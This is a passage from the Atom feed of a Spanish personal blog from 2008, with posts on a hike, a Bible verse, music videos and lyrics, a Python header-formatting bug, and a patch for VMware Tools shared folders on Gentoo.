Chorro.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lVFCOEwXZGU/SPz2BZTTh0I/AAAAAAAAACA/3EeDe2AIDP0/s1600-h/DSC05554.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_lVFCOEwXZGU/SPz2BZTTh0I/AAAAAAAAACA/3EeDe2AIDP0/s400/DSC05554.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5259348968694056770" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;La vuelta fue a ritmo de truenos y pasada por bastante agua, toda una experiencia de sensaciones y sobre todo el colorido del paisaje con la lluvia.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_lVFCOEwXZGU/SPz3BsVwC6I/AAAAAAAAACI/73XokDBjLfk/s1600-h/DSC05556.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_lVFCOEwXZGU/SPz3BsVwC6I/AAAAAAAAACI/73XokDBjLfk/s400/DSC05556.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5259350073316215714" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Una vez más al estar allí arriba me queda la sensación de ser una motita de polvo en medio de la grandiosa creación.&lt;br /&gt;&lt;br /&gt;Gracias a los FRASSATI-MIES.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-9108225557870245006?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/9108225557870245006/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=9108225557870245006&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/9108225557870245006'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/9108225557870245006'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2008/10/subida-al-huma.html' title='Subida al Huma'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_lVFCOEwXZGU/SPz1lh0T9UI/AAAAAAAAAB4/9pYjQUFt0Wc/s72-c/DSC05550.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-7416057713941592502</id><published>2008-08-23T20:15:00.003+02:00</published><updated>2008-08-23T20:28:58.276+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='san juan'/><title type='text'>San Juan 21, 18</title><content type='html'>&lt;style&gt;.min {font-size:8px;vertical-align:text-top;}&lt;/style&gt;&lt;br /&gt;&lt;span style="text-decoration:underline;"&gt;San Juan 21, 18&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="min"&gt;18&lt;/span&gt;&amp;lt;&amp;lt;En verdad, en verdad te digo:&lt;br /&gt;cuando eras joven,&lt;br /&gt;tú mismo te ceñías,&lt;br /&gt;e ibas a donde querías;&lt;br /&gt;pero cuando llegues a viejo,&lt;br /&gt;extenderás tus manos&lt;br /&gt;y otro te ceñirá&lt;br /&gt;y te llevará a donde tú no quieras.&gt;&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-7416057713941592502?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/7416057713941592502/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=7416057713941592502&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7416057713941592502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7416057713941592502'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2008/08/san-juan-21-18.html' title='San Juan 21, 18'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-1359585229338282867</id><published>2008-08-21T23:01:00.003+02:00</published><updated>2008-08-21T23:21:26.858+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='musica'/><title type='text'>Gipsy Kings Hotel California</title><content type='html'>Cuanto más te acercas a la raíz la savia se hace más densa:&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/ufc7Z76ko1Q&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/ufc7Z76ko1Q&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-1359585229338282867?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/1359585229338282867/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=1359585229338282867&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/1359585229338282867'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/1359585229338282867'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2008/08/gipsy-kings-hotel-california.html' title='Gipsy Kings Hotel California'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-8396697145526659305</id><published>2008-08-16T12:48:00.001+02:00</published><updated>2008-08-16T12:50:49.651+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='musica'/><title type='text'>Armin van Buuren ft Sharon den Adel - In and Out of Love</title><content type='html'>&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/TxvpctgU_s8&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/TxvpctgU_s8&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-8396697145526659305?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/8396697145526659305/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=8396697145526659305&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/8396697145526659305'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/8396697145526659305'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2008/08/armin-van-buuren-ft-sharon-den-adel-in.html' title='Armin van Buuren ft Sharon den Adel - In and Out of Love'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-5855285980004261697</id><published>2008-07-27T22:36:00.003+02:00</published><updated>2008-07-27T22:41:22.514+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='verdi'/><category scheme='http://www.blogger.com/atom/ns#' term='opera'/><title type='text'>Va', pensiero</title><content type='html'>&lt;a href="http://es.wikipedia.org/wiki/Va%2C_pensiero"&gt;Va', pensiero&lt;/a&gt; es el coro del tercer acto de Nabucco, una ópera de 1842 de Giuseppe Verdi, con letra de Temistocle Solera, inspirada en el &lt;a href="http://es.wikisource.org/wiki/Salmos:_Capítulo_137"&gt;Salmo 137&lt;/a&gt; &lt;i&gt;Super flumina Babylonis&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/4BZSqtqr8Qk&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/4BZSqtqr8Qk&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;table border="0"&gt;&lt;tr&gt;&lt;td&gt;En italiano&lt;br /&gt;Va', pensiero, sull'ali dorate;&lt;br /&gt;va', ti posa sui clivi, sui colli,&lt;br /&gt;ove olezzano tepide e molli&lt;br /&gt;l'aure dolci del suolo natal!&lt;br /&gt;Del Giordano le rive saluta,&lt;br /&gt;di Sionne le torri atterrate...&lt;br /&gt;Oh mia patria sì bella e perduta!&lt;br /&gt;Oh membranza sì cara e fatal!&lt;br /&gt;Arpa d'or dei fatidici vati,&lt;br /&gt;perché muta dal salice pendi?&lt;br /&gt;Le memorie nel petto raccendi,&lt;br /&gt;ci favella del tempo che fu!&lt;br /&gt;O simile di Sòlima ai fati&lt;br /&gt;traggi un suono di crudo lamento,&lt;br /&gt;o t'ispiri il Signore un concento&lt;br /&gt;che ne infonda al patire virtù.&lt;br /&gt;che ne infonda al patire virtu&lt;br /&gt;che ne infonda al patire virtu&lt;br /&gt;al patire virtu!&lt;/td&gt;&lt;br /&gt;&lt;td&gt;Traducción&lt;br /&gt;¡Vuela pensamiento, con alas doradas,&lt;br /&gt;pósate en las praderas y en las cimas&lt;br /&gt;donde exhala su suave fragancia&lt;br /&gt;el aire dulce de la tierra natal!&lt;br /&gt;¡Saluda a las orillas del Jordán&lt;br /&gt;y a las destruidas torres de Sión!&lt;br /&gt;¡Oh, mi patria, tan bella y abandonada!&lt;br /&gt;¡Oh recuerdo tan grato y fatal!&lt;br /&gt;Arpa de oro de los fatídicos vates,&lt;br /&gt;¿por qué cuelgas silenciosa del sauce?&lt;br /&gt;Revive en nuestros pechos el recuerdo,&lt;br /&gt;¡háblanos del tiempo que fue!&lt;br /&gt;Canta un aire de crudo lamento&lt;br /&gt;al destino de Jerusalén&lt;br /&gt;o que te inspire el Señor una melodía&lt;br /&gt;que infunda virtud al padecimiento.&lt;br /&gt;que infunda virtud al padecimiento.&lt;br /&gt;que infunda virtud al padecimiento.&lt;br /&gt;virtud al padecimiento.&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-5855285980004261697?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/5855285980004261697/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=5855285980004261697&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5855285980004261697'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5855285980004261697'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2008/07/va-pensiero.html' title='Va&apos;, pensiero'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-6376385209256170884</id><published>2008-06-21T13:55:00.001+02:00</published><updated>2008-06-21T13:57:07.033+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='psychedelic'/><category scheme='http://www.blogger.com/atom/ns#' term='musica'/><category scheme='http://www.blogger.com/atom/ns#' term='trance'/><title type='text'>Vibrasphere,  Manzanilla</title><content type='html'>&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/IYkXF3o0hCY&amp;hl=en&amp;color1=0x2b405b&amp;color2=0x6b8ab6"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/IYkXF3o0hCY&amp;hl=en&amp;color1=0x2b405b&amp;color2=0x6b8ab6" type="application/x-shockwave-flash" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-6376385209256170884?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/6376385209256170884/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=6376385209256170884&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/6376385209256170884'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/6376385209256170884'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2008/06/vibrasphere-manzanilla.html' title='Vibrasphere,  Manzanilla'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-2968935610641583896</id><published>2008-05-24T13:19:00.003+02:00</published><updated>2008-05-24T13:26:18.921+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='headers'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='apache'/><category scheme='http://www.blogger.com/atom/ns#' term='mod_python'/><title type='text'>Funny python</title><content type='html'>Cuando no es lo mismo '%i' % 5*5 que '%i' % (5*5)&lt;br /&gt;&lt;br /&gt;Casi me vuelvo loco buscando por que las peticiones no se completaban... se quedaban como colgadas, yo pensando que era cosa del mod_python hasta que el bendito telnet me dio la pista:&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;req.headers_out.add('Cache-Control', 'max-age=%i' % 5*24*60*60)&lt;br /&gt;&lt;br /&gt;.....&lt;br /&gt;x-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max&lt;br /&gt;-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-&lt;br /&gt;age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-a&lt;br /&gt;ge=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-ag&lt;br /&gt;e=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age&lt;br /&gt;=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=&lt;br /&gt;5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5&lt;br /&gt;max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5m&lt;br /&gt;ax-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5ma&lt;br /&gt;x-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max&lt;br /&gt;-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-&lt;br /&gt;age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-a&lt;br /&gt;ge=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-ag&lt;br /&gt;e=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age&lt;br /&gt;=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=&lt;br /&gt;5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5&lt;br /&gt;max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5m&lt;br /&gt;ax-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5ma&lt;br /&gt;x-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max&lt;br /&gt;-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-&lt;br /&gt;age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-a&lt;br /&gt;ge=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-ag&lt;br /&gt;e=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age&lt;br /&gt;=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=&lt;br /&gt;5max-age=5max-age=5max-age=5max-age=5max-age=5max-age=5&lt;br /&gt;Transfer-Encoding: chunked&lt;br /&gt;Content-Type: httpd/unix-directory&lt;br /&gt;&lt;br /&gt;12&lt;br /&gt;zzzzzzzzzzzzzzzzzz&lt;br /&gt;0&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Poniendo los paréntesis correctos:&lt;br /&gt;&lt;pre class="codigo"&gt;req.headers_out.add('Cache-Control', 'max-age=%i' % (5*24*60*60))&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Sat, 24 May 2008 11:15:35 GMT&lt;br /&gt;Server: Apache/2.0.63 (Unix) mod_python/3.3.1 Python/2.5.2&lt;br /&gt;Cache-Control: max-age=432000&lt;br /&gt;Transfer-Encoding: chunked&lt;br /&gt;Content-Type: httpd/unix-directory&lt;br /&gt;&lt;br /&gt;12&lt;br /&gt;zzzzzzzzzzzzzzzzzz&lt;br /&gt;0&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Una locura...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-2968935610641583896?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/2968935610641583896/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=2968935610641583896&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/2968935610641583896'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/2968935610641583896'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2008/05/funny-python.html' title='Funny python'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-3373338803286526679</id><published>2008-05-04T13:27:00.004+02:00</published><updated>2008-05-04T13:46:02.047+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vmware tools'/><category scheme='http://www.blogger.com/atom/ns#' term='shared folders'/><category scheme='http://www.blogger.com/atom/ns#' term='vmware'/><category scheme='http://www.blogger.com/atom/ns#' term='patch'/><title type='text'>Gentoo VMwareTools shared folders</title><content type='html'>Para nucleos superiores a linux-2.6.22 el modulo para montar los "shared folders" no compila correctamente:&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;Using 2.6.x kernel build system.&lt;br /&gt;make -C /lib/modules/2.6.24-gentoo-r4/build/include/.. SUBDIRS=$PWD SRCROOT=$PWD/. modules&lt;br /&gt;make[1]: Entering directory `/usr/src/linux-2.6.24-gentoo-r4'&lt;br /&gt;  CC [M]  /usr/src/vmware-tools-distrib/lib/modules/source/vmhgfs-only/backdoor.o&lt;br /&gt;  CC [M]  /usr/src/vmware-tools-distrib/lib/modules/source/vmhgfs-only/backdoorGcc32.o&lt;br /&gt;  CC [M]  /usr/src/vmware-tools-distrib/lib/modules/source/vmhgfs-only/bdhandler.o&lt;br /&gt;  CC [M]  /usr/src/vmware-tools-distrib/lib/modules/source/vmhgfs-only/cpName.o&lt;br /&gt;In file included from include/linux/string.h:11,&lt;br /&gt;                 from /usr/src/vmware-tools-distrib/lib/modules/source/vmhgfs-only/cpName.h:18,&lt;br /&gt;                 from /usr/src/vmware-tools-distrib/lib/modules/source/vmhgfs-only/cpName.c:18:&lt;br /&gt;include/linux/types.h:40: error: conflicting types for 'uintptr_t'&lt;br /&gt;/usr/src/vmware-tools-distrib/lib/modules/source/vmhgfs-only/vm_basic_types.h:170: error: previous declaration of 'uintptr_t' was here&lt;br /&gt;make[2]: *** [/usr/src/vmware-tools-distrib/lib/modules/source/vmhgfs-only/cpName.o] Error 1&lt;br /&gt;make[1]: *** [_module_/usr/src/vmware-tools-distrib/lib/modules/source/vmhgfs-only] Error 2&lt;br /&gt;make[1]: Leaving directory `/usr/src/linux-2.6.24-gentoo-r4'&lt;br /&gt;make: *** [vmhgfs.ko] Error 2&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;La instalación se lo salta y luego no se pueden ver los directorios compartidos con el host en /mnt/hgfs/&lt;br /&gt;&lt;br /&gt;Hay que parchear el fuente de VMwareTools-6.0.3-80004.tar.gz para ello:&lt;br /&gt;&lt;pre class="codigo"&gt;tar zxvf VMware\ Tools/VMwareTools-6.0.3-80004.tar.gz&lt;br /&gt;tar xvf ./vmware-tools-distrib/lib/modules/source/vmhgfs.tar&lt;br /&gt;wget http://projects.tuxx-home.at/vmware/tools/6.0.3-80004/vmhgfs-6.0.3-80004-2.6.24.3.diff&lt;br /&gt;patch -p0 &lt; vmhgfs-6.0.3-80004-2.6.24.3.diff&lt;br /&gt;tar cvf vmware-tools-distrib/lib/modules/source/vmhgfs.tar vmhgfs-only&lt;br /&gt;cd vmware-tools-distrib/&lt;br /&gt;perl vmware-install.pl&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;El contenido del diff por si falla el link:&lt;br /&gt;&lt;pre class="codigo" style="height: 80px;"&gt;--- vmhgfs-only.old/vm_basic_types.h        2008-03-04 02:45:54.000000000 +0100&lt;br /&gt;+++ vmhgfs-only/vm_basic_types.h        2008-05-04 13:34:02.000000000 +0200&lt;br /&gt;@@ -12,0 +13,10 @@&lt;br /&gt;+/*&lt;br /&gt;+ * Since we do some kernel version checks in here, make sure to include&lt;br /&gt;+ * compat_version.h.&lt;br /&gt;+ * &lt;linux/types.h&gt; is needed for uintptr on 2.6.24&lt;br /&gt;+ *&lt;br /&gt;+ * by Alexander Griesser &lt;work@tuxx-home.at&gt;, 2008-03-10&lt;br /&gt;+ */&lt;br /&gt;+#include "compat_version.h"&lt;br /&gt;+#include &lt;linux/types.h&gt;&lt;br /&gt;+&lt;br /&gt;@@ -165,6 +175,15 @@&lt;br /&gt;-#   ifndef _STDINT_H&lt;br /&gt;-#      ifdef VM_I386&lt;br /&gt;-#         ifdef VM_X86_64&lt;br /&gt;-             typedef uint64    uintptr_t;&lt;br /&gt;-#         else&lt;br /&gt;-             typedef uint32    uintptr_t;&lt;br /&gt;+/*&lt;br /&gt;+ * Since we do some kernel version checks in here, make sure to include&lt;br /&gt;+ * compat_version.h.&lt;br /&gt;+ * &lt;linux/types.h&gt; is needed for uintptr on 2.6.24&lt;br /&gt;+ *&lt;br /&gt;+ * by Alexander Griesser &lt;work@tuxx-home.at&gt;, 2008-03-10&lt;br /&gt;+ */&lt;br /&gt;+#   if LINUX_VERSION_CODE &lt; KERNEL_VERSION(2,6,24)&lt;br /&gt;+#      ifndef _STDINT_H&lt;br /&gt;+#         ifdef VM_I386&lt;br /&gt;+#            ifdef VM_X86_64&lt;br /&gt;+                typedef uint64    uintptr_t;&lt;br /&gt;+#            else&lt;br /&gt;+                typedef uint32    uintptr_t;&lt;br /&gt;+#            endif&lt;br /&gt;@@ -172 +190,0 @@&lt;br /&gt;-#      endif&lt;br /&gt;@@ -174,2 +192,3 @@&lt;br /&gt;-#      ifdef VM_IA64&lt;br /&gt;-          typedef uint64    uintptr_t;&lt;br /&gt;+#         ifdef VM_IA64&lt;br /&gt;+             typedef uint64    uintptr_t;&lt;br /&gt;+#         endif&lt;br /&gt;@@ -273,2 +292,12 @@&lt;br /&gt;-typedef uintptr_t VA;&lt;br /&gt;-typedef uintptr_t VPN;&lt;br /&gt;+/*&lt;br /&gt;+ * Odd as it may seem, `typedef uintptr_t VA` doesn't work when uintptr_t is defined as&lt;br /&gt;+ * unsigned long.&lt;br /&gt;+ * If anyone is able to tell me why, please don't hesitate to contact me.&lt;br /&gt;+ *&lt;br /&gt;+ * NTL, as uintptr_t seems to be always "unsigned long" on 2.6.24+ I replaced it here&lt;br /&gt;+ * to keep it simple.&lt;br /&gt;+ *&lt;br /&gt;+ * by Alexander Griesser &lt;work@tuxx-home.at&gt;, 2008-03-10&lt;br /&gt;+ */&lt;br /&gt;+typedef unsigned long VA;&lt;br /&gt;+typedef unsigned long VPN;&lt;br /&gt;@@ -309,2 +338,7 @@&lt;br /&gt;-typedef uintptr_t LA;&lt;br /&gt;-typedef uintptr_t LPN;&lt;br /&gt;+/*&lt;br /&gt;+ * See the comments in line 310 why typedef'ing uintptr_t doesn't work.&lt;br /&gt;+ *&lt;br /&gt;+ * by Alexander Griesser &lt;work@tuxx-home.at&gt;, 2008-03-10&lt;br /&gt;+ */&lt;br /&gt;+typedef unsigned long LA;&lt;br /&gt;+typedef unsigned long LPN;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;En el /etc/fstab debe andar una linea tal que:&lt;br /&gt;.host:/                 /mnt/hgfs               vmhgfs  defaults,ttl=5     0 0&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-3373338803286526679?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/3373338803286526679/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=3373338803286526679&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3373338803286526679'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3373338803286526679'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2008/05/gentoo-vmwaretools-shared-folders.html' title='Gentoo VMwareTools shared folders'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-7681828262451732802</id><published>2008-04-19T11:30:00.000+02:00</published><updated>2008-04-19T11:31:08.145+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='musica'/><title type='text'>Royksopp - What Else Is There?</title><content type='html'>&lt;object width="425" height="355"&gt;&lt;param name="movie" value="http://www.youtube.com/v/O2VxjnpxTR0&amp;hl=en"&gt;&lt;/param&gt;&lt;param name="wmode" value="transparent"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/O2VxjnpxTR0&amp;hl=en" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;It was me on that road&lt;br /&gt;But you couldn`t see me &lt;br /&gt;Too many lights out, but nowhere near here &lt;br /&gt;&lt;br /&gt;It was me on that road &lt;br /&gt;Still you couldn`t see me &lt;br /&gt;And then flashlights and explosions &lt;br /&gt;&lt;br /&gt;Roads and getting nearer &lt;br /&gt;We cover distance but not together &lt;br /&gt;I am the storm, I am the wonder &lt;br /&gt;And the flashlights, nigthmares &lt;br /&gt;And sudden explosions &lt;br /&gt;&lt;br /&gt;I don't know what more to ask for &lt;br /&gt;I was given just one wish &lt;br /&gt;&lt;br /&gt;It's about you and the sun &lt;br /&gt;A morning run &lt;br /&gt;The story of my maker &lt;br /&gt;What I have and what I ache for &lt;br /&gt;&lt;br /&gt;I`ve got a golden ear &lt;br /&gt;I cut and I 